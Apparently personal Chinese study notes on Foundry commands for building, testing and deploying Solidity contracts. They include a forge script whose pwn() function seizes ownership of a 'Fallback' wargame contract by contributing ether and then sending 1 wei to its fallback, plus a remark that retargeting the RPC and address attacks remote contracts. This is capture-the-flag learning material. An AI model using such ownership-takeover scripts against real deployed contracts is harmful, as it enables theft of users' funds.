https://learnblockchain.cn/docs/foundry/i18n/zh/forge/writing-tests.html
创建新项目
forge init xxx
forge测试合约以及函数
forge build src/Contract.sol // 执行单个脚本
forge build src/Contract.sol --debug // open script in debugger
forge build src/Contract.sol --sig "foo(string)" "hi" // 执行单一函数
找到bugs之后可以使用-v来获得更多细节
debug with logs -vv
debug with traces for failing tests -vvv
debug with traces for all tests -vvvv
部署合约
forge create --rpc-url <url> --private-key <xx> src/xxx.sol:contract
这个好用
forge script script/Counter.s.sol --rpc-url <url> --broadcast
可以用solidity来交互
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Fallback} from "../src/Counter.sol";
contract CounterScript is Script {
Fallback public counter;
function setUp() public {}
function run() public {
// address owner = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266); // private key 0 to deploy
// vm.startBroadcast(owner); // 模拟广播
uint256 ownerPrivateKey = vm.envUint("OWNER_PRIVATE_KEY");
vm.startBroadcast(ownerPrivateKey);
// counter = new Fallback();
counter = Fallback(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3));
console.log("Contract deployed at: ", address(counter));
console.log("The true owner of contract is: ", counter.owner());
vm.stopBroadcast();
pwn();
}
function pwn() public {
// address user = address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8);
// vm.startBroadcast(user);
uint256 userPrivateKey = vm.envUint("USER_PRIVATE_KEY");
vm.startBroadcast(userPrivateKey);
counter.contribute{value: 0.0001 ether}();
console.log("Now My account:", counter.getContribution());
console.log("The before owner of contract is: ", counter.owner());
(bool success, ) = address(counter).call{value: 1 wei}("");
require(success, "ETH transfer failed");
console.log("The after owner of contract is: ", counter.owner());
vm.stopBroadcast();
}
}
只要rpc改为远程,再把deploy改了counter改为目标合约地址就可以打远程了
提供本地测试网络
直接输入
avil